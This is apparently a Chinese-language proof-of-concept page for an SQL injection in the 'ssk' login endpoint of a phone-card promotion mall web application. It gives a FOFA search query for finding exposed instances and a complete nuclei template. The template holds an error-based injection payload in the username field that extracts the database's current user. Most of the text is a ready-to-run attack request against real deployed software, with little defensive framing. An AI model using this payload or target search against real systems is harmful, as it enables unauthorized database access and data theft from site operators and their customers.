跳到主要内容

手机卡号推广商城

手机卡号推广商城ssk接口存在SQL注入漏洞

FOFA:body="zgdx.php"

image-20240506101515712

image-20240506101753013

image-20240506111604097

image-20240506111428476

nuclei

id: kahaotuiguang-sql

info:
name: kahaotuiguang-sql
author: BY
severity: high
tags: kahaotuiguang

http:
- raw:
- |
POST /ssk/login.php HTTP/1.1
Host: {{Hostname}}
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
sec-ch-ua: "Google Chrome";v="123", "Not:A-Brand";v="8", "Chromium";v="123"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Connection: close

username=' OR (SELECT 6442 FROM(SELECT COUNT(*),CONCAT((MID((IFNULL(CAST(CURRENT_USER() AS NCHAR),0x20)),1,54)),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- FIjp&password=123123

matchers:
- type: dsl
dsl:
- status_code == 200 && contains(body,'sql')

image-20240506104810716